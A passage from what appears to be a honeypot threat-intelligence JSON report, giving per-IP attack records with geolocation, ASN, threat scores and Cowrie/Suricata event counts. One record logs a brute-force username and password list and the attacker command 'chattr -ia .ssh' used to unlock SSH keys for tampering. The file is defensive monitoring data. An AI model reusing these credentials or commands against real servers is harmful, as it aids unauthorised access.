      "threat_score": 30.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:56:26.260000+00:00",
        "last_seen_30d": "2026-05-24T02:47:09.841000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 102
      }
    },
    "154.16.180.198": {
      "attack_count": 156,
      "first_seen": "2026-05-09T03:22:51.898Z",
      "last_seen": "2026-05-21T22:45:58.731Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dulles",
      "asn": 215224,
      "as_org": "NovoServe B.V.",
      "threat_score": 30.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T03:22:51.898000+00:00",
        "last_seen_30d": "2026-05-21T22:47:01.664000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 78
      }
    },
    "114.228.185.30": {
      "attack_count": 150,
      "first_seen": "2026-05-23T07:57:13.742Z",
      "last_seen": "2026-05-23T13:53:03.034Z",
      "sessions": 75,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 232,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T07:57:13.742000+00:00",
        "last_seen_30d": "2026-05-23T13:54:12.844000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 150,
        "Suricata": 82
      }
    },
    "148.113.190.153": {
      "attack_count": 120,
      "first_seen": "2026-05-05T01:29:19.984Z",
      "last_seen": "2026-05-31T22:05:30.817Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 56.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.5,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:29:19.984000+00:00",
        "last_seen_30d": "2026-05-31T22:06:32.240000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 60
      }
    },
    "116.208.10.206": {
      "attack_count": 112,
      "first_seen": "2026-05-19T12:01:38.261Z",
      "last_seen": "2026-05-19T17:58:14.771Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 175,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T11:53:05.696000+00:00",
        "last_seen_30d": "2026-05-19T17:59:24.667000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 112,
        "Suricata": 63
      }
    },
    "213.152.185.117": {
      "attack_count": 108,
      "first_seen": "2026-05-10T22:03:06.707Z",
      "last_seen": "2026-05-27T09:25:51.637Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 49453,
      "as_org": "Global Layer B.V.",
      "threat_score": 41.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.0,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T22:03:06.707000+00:00",
        "last_seen_30d": "2026-05-27T09:26:52.246000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 54
      }
    },
    "192.169.201.223": {
      "attack_count": 93,
      "first_seen": "2026-05-29T18:28:05.622Z",
      "last_seen": "2026-05-29T18:55:14.457Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "farmacia",
        "345gs5662d34",
        "bkp",
        "it",
        "pb",
        "postgres",
        "sambauser",
        "server",
        "tim",
        "trung",
        "ubuntu",
        "vpn",
        "ying"
      ],
      "passwords_attempted": [
        "1",
        "1234",
        "123abc!!!",
        "3245gs5662d34",
        "345gs5662d34",
        "Cx123456.",
        "Passw0rd!",
        "Password1",
        "bkp",
        "farmacia",
        "password",
        "root",
        "sambauser",
        "tim",
        "trung@123",
        "ubuntu1234",
        "ying"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 31.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 132,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T18:28:05.622000+00:00",
        "last_seen_30d": "2026-05-29T18:56:16.881000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 93,
        "Suricata": 39
      }
    },
    "209.90.232.249": {
      "attack_count": 84,
      "first_seen": "2026-05-08T03:19:30.824Z",
      "last_seen": "2026-05-31T02:52:57.352Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Tukwila",
      "asn": 23033,
      "as_org": "Wowrack.com",
      "threat_score": 51.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.9,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T03:19:30.824000+00:00",
        "last_seen_30d": "2026-05-31T02:53:59.393000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 42
      }
    },
    "34.52.236.41": {
      "attack_count": 73,
      "first_seen": "2026-05-25T07:19:40.167Z",
      "last_seen": "2026-05-25T07:20:32.107Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 7912",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 32.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.7,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-25T04:16:08.434000+00:00",
        "last_seen_30d": "2026-05-25T07:21:40.724000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 44,
        "Dionaea": 1
      }
    },
    "35.205.107.141": {
      "attack_count": 69,
      "first_seen": "2026-05-07T20:04:07.877Z",
      "last_seen": "2026-05-07T20:05:06.184Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36",
        "b'\\xbd\\xc1\\xdf\\x87\\xcb\\x0e\\xc5\\xca(]R\\xe4\\x8c\\x11+\\xa7\\xbdn\\rp:dq\\x92\\x0c\\x06\\xf8 \\xdc\\x93\\x12]\\x07~-\\xe8}|\\xce\\x8fs\\\\\\xee\\xd7\\xf1\\xa3\\xd76'"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 9269",
        "Host: 172.105.186.117:23",
        "b'\\x1e\\x04\\x93)\\x8eP'"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T20:04:07.877000+00:00",
        "last_seen_30d": "2026-05-07T20:06:16.168000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 69,
        "Suricata": 41
      }
    },
    "129.232.23.178": {
      "attack_count": 54,
      "first_seen": "2026-05-20T18:45:19.537Z",
      "last_seen": "2026-05-20T22:45:28.605Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Lesotho",
      "country_code": "LS",
      "city": "Maseru",
      "asn": 33567,
      "as_org": "TELECOM-LESOTHO",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 86,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:45:19.537000+00:00",
        "last_seen_30d": "2026-05-20T22:55:56.067000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 54,
        "Suricata": 32
      }
    },
    "206.135.174.53": {
      "attack_count": 50,
      "first_seen": "2026-05-13T02:48:58.869Z",
      "last_seen": "2026-05-13T02:54:23.217Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Sialkot",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T02:48:58.869000+00:00",
        "last_seen_30d": "2026-05-13T02:55:28.953000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "66.167.166.242": {
      "attack_count": 48,
      "first_seen": "2026-05-11T21:07:39.268Z",
      "last_seen": "2026-05-11T21:12:54.682Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T21:07:39.268000+00:00",
        "last_seen_30d": "2026-05-11T21:14:00.948000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "109.224.242.73": {
      "attack_count": 44,
      "first_seen": "2026-05-12T11:14:23.124Z",
      "last_seen": "2026-05-12T11:47:40.615Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": null,
      "asn": 216472,
      "as_org": "High Speed For Internet Services L.L.C",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T11:14:23.124000+00:00",
        "last_seen_30d": "2026-05-12T11:48:46.924000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 24
      }
    },
    "111.8.237.54": {
      "attack_count": 42,
      "first_seen": "2026-05-22T10:39:55.459Z",
      "last_seen": "2026-05-22T12:28:46.577Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 56047,
      "as_org": "China Mobile communications corporation",
      "threat_score": 21.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:39:55.459000+00:00",
        "last_seen_30d": "2026-05-22T12:29:56.212000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 42,
        "Suricata": 21
      }
    },
    "120.57.123.239": {
      "attack_count": 40,
      "first_seen": "2026-05-02T21:12:36.379Z",
      "last_seen": "2026-05-02T21:16:59.661Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 17813,
      "as_org": "Mahanagar Telephone Nigam Limited",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T21:12:36.379000+00:00",
        "last_seen_30d": "2026-05-02T21:18:03.913000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 21
      }
    },
    "119.98.142.122": {
      "attack_count": 36,
      "first_seen": "2026-05-19T07:38:06.707Z",
      "last_seen": "2026-05-19T10:56:04.923Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137266,
      "as_org": "CHINATELECOM Hubei province Wuhan 5G network",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 57,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:38:06.707000+00:00",
        "last_seen_30d": "2026-05-19T10:57:11.354000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 21
      }
    },
    "104.237.57.186": {
      "attack_count": 30,
      "first_seen": "2026-05-28T08:40:54.738Z",
      "last_seen": "2026-05-31T12:51:46.685Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "El Segundo",
      "asn": 18450,
      "as_org": "WebNX, Inc.",
      "threat_score": 30.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.4,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T08:40:54.738000+00:00",
        "last_seen_30d": "2026-05-31T12:52:49.996000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "212.162.155.217": {
      "attack_count": 30,
      "first_seen": "2026-05-14T08:10:01.475Z",
      "last_seen": "2026-05-14T08:16:35.215Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": null,
      "asn": 210895,
      "as_org": "Podaon SIA",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 3.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 2462,
        "days_active_30d": 4,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-11T04:03:14.162000+00:00",
        "last_seen_30d": "2026-05-14T10:58:59.597000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1298,
        "Redishoneypot": 550,
        "Honeytrap": 467,
        "Dionaea": 100,
        "Cowrie": 30,
        "Tanner": 14,
        "ConPot": 1,
        "Honeyaml": 1,
        "Wordpot": 1
      }
    },
    "69.175.92.29": {
      "attack_count": 30,
      "first_seen": "2026-05-08T07:20:02.960Z",
      "last_seen": "2026-05-31T12:25:12.846Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 47.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.4,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T07:20:02.960000+00:00",
        "last_seen_30d": "2026-05-31T12:26:16.578000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "187.43.24.118": {
      "attack_count": 28,
      "first_seen": "2026-05-19T08:46:33.522Z",
      "last_seen": "2026-05-19T17:40:36.142Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Manaus",
      "asn": 4230,
      "as_org": "CLARO S.A.",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T08:46:33.522000+00:00",
        "last_seen_30d": "2026-05-19T17:41:39.830000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 14
      }
    },
    "45.120.161.246": {
      "attack_count": 28,
      "first_seen": "2026-05-23T01:49:01.468Z",
      "last_seen": "2026-05-23T01:52:30.191Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 132116,
      "as_org": "Anonet Network Private Limited",
      "threat_score": 21.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:49:01.468000+00:00",
        "last_seen_30d": "2026-05-23T01:53:32.397000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "66.167.166.156": {
      "attack_count": 28,
      "first_seen": "2026-05-10T05:06:15.653Z",
      "last_seen": "2026-05-10T05:09:18.220Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T05:06:15.653000+00:00",
        "last_seen_30d": "2026-05-10T05:10:25.138000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "109.251.250.110": {
      "attack_count": 24,
      "first_seen": "2026-05-12T14:11:36.614Z",
      "last_seen": "2026-05-12T14:30:23.583Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": null,
      "asn": 31148,
      "as_org": "Freenet Jsc",
      "threat_score": 10.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T14:11:36.614000+00:00",
        "last_seen_30d": "2026-05-12T14:41:07.961000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 22
      }
    },
    "151.244.146.89": {
      "attack_count": 24,
      "first_seen": "2026-05-11T12:59:39.820Z",
      "last_seen": "2026-05-11T13:11:52.908Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Mosul",
      "asn": 208324,
      "as_org": "Noor Al-Bedaya for General Trading, agricultural investments, Technical production and dist",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T12:59:39.820000+00:00",
        "last_seen_30d": "2026-05-11T13:13:01.858000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "206.135.174.172": {
      "attack_count": 24,
      "first_seen": "2026-05-07T11:26:43.717Z",
      "last_seen": "2026-05-07T11:29:22.873Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Sialkot",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T11:26:43.717000+00:00",
        "last_seen_30d": "2026-05-07T11:30:32.680000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "66.94.100.232": {
      "attack_count": 24,
      "first_seen": "2026-05-05T01:14:15.097Z",
      "last_seen": "2026-05-29T21:21:26.174Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
